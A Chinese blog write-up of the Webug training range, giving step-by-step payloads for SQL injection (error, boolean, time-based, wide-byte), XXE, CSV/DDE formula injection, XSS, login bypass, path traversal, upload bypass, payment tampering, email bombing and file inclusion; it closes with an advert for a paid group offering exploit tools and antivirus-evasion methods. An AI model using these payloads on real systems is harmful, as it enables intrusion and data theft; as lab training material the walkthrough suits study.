当前位置: 首页 > article >正文

【Webug】攻防实战详情

世界上只有一种真正的英雄主义,那就是认清了生活的真相后,仍然热爱她

显错注入

首先整体浏览网站

在这里插入图片描述

注入点:

control/sqlinject/manifest_error.php?id=1

判断注入类型

输入: and 1=1 正常, 再输入: and 1=2 还正常, 排除数字型

在这里插入图片描述

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断字段数

构造payload:

’ order by 3-- q

页面回显错误,而order by 2则回显正常,所以字段数为2

在这里插入图片描述

查找回显点

构造payload:

’ union select 1,2 – q

我们可以在2处得到我们想要的内容

在这里插入图片描述

查询数据库

’ union select 1,database() – q

为webug

在这里插入图片描述

查询所有数据库

’ union select 1,group_concat(schema_name) from information_schema.schemata – q

为information_schema,mysql,performance_schema,webug,webug_sys,webug_width_byte

在这里插入图片描述

查询数据库webug中的表

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘webug’ – q

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看flag表的所有字段

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘webug’ and table_name=‘flag’-- q

为id,flag

在这里插入图片描述

查看flag字段的内容

’ union select 1,group_concat(flag) from flag-- q

为dfafdasfafdsadfa

在这里插入图片描述

布尔注入

输入单引号: ’ 网页发生变化

在这里插入图片描述

输入’ – q注释掉单引号,页面回显正常 则为字符型

在这里插入图片描述

判断数据库长度为5

id=1’ and length(database())=5–+

爆破数据库名字为webug

id=1’ and ascii(substr(database(),1,1))=119 --+

判断当前数据库表数量为7

id=1’ and (select count(*) from information_schema.tables where table_schema=database())=7–+

判断第二张表,表名的长度为8

id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8–+

爆破第二张表表名 第一个字符的ascii码值:101

id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101–+

爆破出8个ascii值为:101 110 118 95 108 105 115 116 解码为env_list

猜解env_list的字段数量为8

id=1’ and (select count(column_name) from information_schema.columns where table_name=‘env_list’)=8–+

猜解env_list第一个列名字符长度为2

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2–+

猜解env_list第二个列名字符长度为7

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 1,1)=7–+

猜解env_list第五个列名字符长度

id=1’ and (select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 5,1)=7–+

爆破第五个列名,第一个字符的ascii为101

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101–+

爆破第五个列名,第二个字符的ascii

id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),2,1))=110–+

爆破了7个字符,ascii码为101 110 118 70 108 97 103

解码后等于envFlag

猜解envFlag字段的记录为20

id=1’ and (select count(envFlag) from env_list)=20–+

猜解envFlag字段第一条字段的字符数为16

id=1’ and (select length(envFlag) from env_list limit 0,1)=16–+

猜解envFlag字段第二条字段有多少个字符

id=1’ and (select length(envFlag) from env_list limit 1,1)=9–+

猜解flag

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),1,1))=102–+

id=1’ and ascii(substr((select envFlag from env_list limit 1,1),2,1))=100–+

最终爆破完flag的ascii值:

102 100 115 97 102 115 100 102 97

解码为:

fdsafsdfa

延时注入

延时注入语句和盲注的语句都类似,不过就是多了一个if语句去判断,如果正确或不正确都会返回相对应的响应时间。

可以看到我以下payload的规则:

1' and if(/*!上一关盲注语句*/,sleep(3),1)--+

出现延迟,说明存在注入

1’ and sleep(3)–+

判断数据库字符长度

1’ and if(length(database())=5,sleep(3),1)–+

爆破数据库名

1’ and if(ascii(substr(database(),1,1))=119,sleep(3),1)–+

1’ and if(ascii(substr(database(),2,1))=101,sleep(3),1)–+

判断当前数据库表数量

1’ and if((select count(*) from information_schema.tables where table_schema=database())=7,sleep(3),1)–+

判断第一张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)–+

判断第二张表,表名的长度

1’ and if((select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8,sleep(3),1)–+

爆破第二张表表名

第一个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=101,sleep(3),1)–+

第二个字符的ascii码值

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=110,sleep(3),1)–+

猜解表有多少个字段

1’ and if((select count(column_name) from information_schema.columns where table_name=‘env_list’)=8,sleep(3),1)–+

猜解表的第一个列名字符长度

1’ and if((select length(column_name) from information_schema.columns where table_name=‘env_list’ limit 0,1)=2,sleep(3),1)–+

爆破第五个列名,第一个字符的ascii

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘env_list’ limit 5,1),1,1))=101,sleep(3),1)–+

爆破第五个列名,第二个字符的ascii

猜解envFlag字段有多少条记录

1’ and if((select count(envFlag) from env_list)=20,sleep(3),1)–+

猜解envFlag字段第三条字段有多少个字符(flag在第三条记录)

1’ and if((select length(envFlag) from env_list limit 2,1)=9,sleep(3),1)–+

猜解flag

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),1,1))=103,sleep(3),1)–+

1’ and if(ascii(substr((select envFlag from env_list limit 2,1),2,1))=102,sleep(3),1)–+

最后flag的ASCII码值为:

103 102 100 103 100 102 115 100 103

解码:

gfdgdfsdg

post注入

首先整体浏览网页

在这里插入图片描述

搜索框可能存在注入点,burp抓包,构造payload:

1’

出现报错

在这里插入图片描述

构造payload:

1’ or sleep(3)–+

页面出现延迟

在这里插入图片描述

剩下的操作和上一关一样 ,只需要将and改成or即可。

过滤注入

同上,并没有过滤。

宽字节注入

报错

id=1%df%27

如下

在这里插入图片描述

正常显示

id=1%df%27–+

如下

在这里插入图片描述

查看当前字段数,字段数为2

id=1%df%27 order by 2–+

如下

在这里插入图片描述

查看显示位

id=1%df%27 and 1=2 union select 1,2–+

我们可以在2处获得我们想要的内容

在这里插入图片描述

查看所有数据库

id=1%df%27%20and%201=2%20union%20select%201,concat(schema_name,0x7e)%20from%20information_schema.schemata–+

为information_schemamysqlperformance_schemawebugwebug_syswebug_width_byte

在这里插入图片描述

查看webug数据库下的所有表

id=1%df%27 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7765627567–+

为data_crud,env_list,env_path,flag,sqlinjection,user,user_test

在这里插入图片描述

查看env_list表下所有字段

id=1%df%27 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x656E765F6C697374–+

为id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

在这里插入图片描述

查看flag

id=1%df%27 and 1=2 union select 1,envFlag from webug.env_list limit 5,1–+

为dfsadfsadfas

在这里插入图片描述

xxe注入

整体浏览网站

在这里插入图片描述

因为是xxe注入,所以直接输入xml格式数据传输过去

<?xml version="1.0"?>
<helo>
   <batch id="test">
      <title>xxe</title>
      <test>xxe test</test>
	</batch>
</helo>

可以看到我们输入的内容会被显示出来,那么就代表xml代码能够被网站解析执行。

在这里插入图片描述

csv注入

1、什么是csv注入?

CSV公式注入(CSV Injection)是一种会造成巨大影响的攻击向量。攻击包含向恶意的EXCEL公式中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

2.cvs注入的原理时是什么?

当输入一个公式,会被Excel自动运算并执行。而当你输入一个别的Excel本身不存在的功能时,Excel就会被微软的另一种机制:DDE机制调用。

3.什么是DDE?

DDE是一种动态数据交换机制(Dynamic Data Exchange,DDE)。使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。客户机应用程序向当前所激活的服务器应用程序发送一条消息请求信息,服务器应用程序根据该信息作出应答,从而实现两个程序之间的数据交换。

构造payload:

=cmd|’ /C calc’!A0

在单元格中输入

在这里插入图片描述

按下回车键,会出现恶意提示

在这里插入图片描述

点击是,会弹出计算器

在这里插入图片描述

反射型xss

整体浏览网页

在这里插入图片描述

可以看到1是我们可控制点

pyaload:

id=1<script>alert(document.cookie)</script>

成功弹窗

在这里插入图片描述

存储型xss

整体浏览网页,可以看到最后有一个留言框

在这里插入图片描述

构造payload:

<script>alert(document.cookie)</script>

成功弹窗

在这里插入图片描述

万能密码登陆

整体浏览网页

在这里插入图片描述

账号:admin

密码:’ or ‘1’='1

在这里插入图片描述

DOM型xss

打开靶场,可以看到输入框

在这里插入图片描述

构造payload:

"required=" "><script>alert(document.cookie)</script><name="

成功弹窗

在这里插入图片描述

过滤xss

过滤了script字符

在这里插入图片描述

换个标签:

<img src=1 onerror=alert(document.cookie)>

成功弹窗

在这里插入图片描述

链接注入

"链接注入"是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。

在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击的站点本身启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。

“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中返回给用户。攻击者能够将危险字符注入响应中,便能够嵌入 URL 及其他可能的内容修改。

整体浏览网页

在这里插入图片描述

构造payload:

id=<a href="http://baidu.com">baidu</a>

成功将百度嵌入到页面中

在这里插入图片描述

任意文件下载

打开网页,看到下载按钮

在这里插入图片描述

鼠标右键,点击复制链接地址

在这里插入图片描述

构造payload:

file=template/assets/img/1.txt

file=index.php

可以下载index.php,看到php源码

在这里插入图片描述

mysql配置文件下载

此题与上题原理相同,不过题目是需要我们下载mysql的配置文件

…/mysql/时,执行了下载命令,说明存在mysql目录

file=…/mysql/

直接下载my.ini

file=…/mysql/my.ini

成功下载

在这里插入图片描述

文件上传(前端拦截)

整体浏览网页,选择php类型的文件时会显示不允许上传

在这里插入图片描述

将phpinfo后缀名修改为png,burp抓包

在这里插入图片描述

将后缀名重新修改为php

在这里插入图片描述

点击上传,得到文件路径

在这里插入图片描述

成功访问

在这里插入图片描述

文件上传(畸形文件)

将文件命名为:

phpinfo.png

burp抓包后将文件名改成.pphphp

phpinfo.pphphp

即可绕过

在这里插入图片描述

访问路径

/template/upload/1616405351.php

上传成功

在这里插入图片描述

支付漏洞

进入靶场,点击立刻购买时,可以看到我们直接购买了商品

在这里插入图片描述

打开burp suite,点击立刻购买时,拦截数据包

在这里插入图片描述

可以看到金额为100,我们修改成0.01,然后发包,提示我们花了0.01购买了商品

在这里插入图片描述

邮箱轰炸

输入邮箱,点击注册,然后利用burp suite进行抓包

4p41ztex@linshiyouxiang.net

在这里插入图片描述

发送到intruder模块

设置payload:

选择Null payload

输入发送次数,20次

在这里插入图片描述

URL跳转

整体浏览网页

在这里插入图片描述

复制链接地址

在这里插入图片描述

构造payload:

url=https://www.baidu.com

url=https://www.bilibili.com

成功跳转

在这里插入图片描述

文件包含漏洞

整体浏览网站,本身就已经证明了是包含漏洞

在这里插入图片描述

构造payload:

filename=…/…/control/upload_file/upload_file_3.php

成功跳转到文件上传页面

在这里插入图片描述

本文工具、源码加圈获取

1、本圈主要分享:攻防及SRC实战经验分享、代码审计漏洞详情及代码、最新漏洞详情及原创漏洞利用工具、免杀手法及工具代码、问题解答等。
2、圈主出身于深信服深蓝攻防实验室、新华三攻防实验室,连续5年多次获得国家级、省级、地市级、行业级护网攻击队前三名。
3、漏洞盒子总榜前五十名、补天总榜前五十名、去哪网SRC总榜前五十名。
4、获得50+CVE通用漏洞编号、100+CNVD通用漏洞证书。
5、CSDN、公众号、博客、先知社区、SecIN、FreeBuf粉丝量10000+。
6、前1-50名: 25¥,50-100名: 50¥,100-150名: 75¥,依次类推.....!

纷传

img

知识星球

img

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。


http://www.kler.cn/a/457548.html

相关文章:

  • 信息科技伦理与道德1:研究方法
  • 什么是.net framework,什么是.net core,什么是.net5~8,版本对应关系
  • 【记录】Angr|Angr 标准库函数替换怎么看哪些库函数被Angr支持?
  • 直播预告丨社区年度交流会 《RTE 和 AI 融合生态洞察报告 2024》发布
  • 金融租赁系统的创新与发展推动行业效率提升
  • mysql 忘记root密码 无密码登录系统 配置文件怎么改?
  • SOEM裸机移植
  • GAMES101学习笔记(一):Overview 计算机图形学概述
  • 嵌入式开发中的机器人表情绘制
  • Kimi进行学术方向选择精讲!
  • 各种绕过姿势
  • 探索开源项目 kernel:技术的基石与无限可能
  • 【Unity3D】ECS入门学习(九)SystemBase
  • Docker中的分层(Layer)
  • 【漫话机器学习系列】021.类别特征(Categorical Feature)
  • 砝码称重(2021年蓝桥杯)
  • 一文读懂高斯混合模型
  • c++ 17 里新出现的修饰符 [ [ maybe_unused ] ]
  • [Leetcode] 最大子数组和 [击败99%的解法]
  • 向bash shell脚本传参
  • 基于Vue+SSM+SpringCloudAlibaba书籍管理系统
  • 十六、流编辑器sed(stream editor)
  • 【超级详细】七牛云配置阿里云域名详细过程记录
  • Tomcat(103)Tomcat的连接器故障排除
  • 嵌入式入门Day35
  • WSL2桥接模式配置(可与外部设备互ping)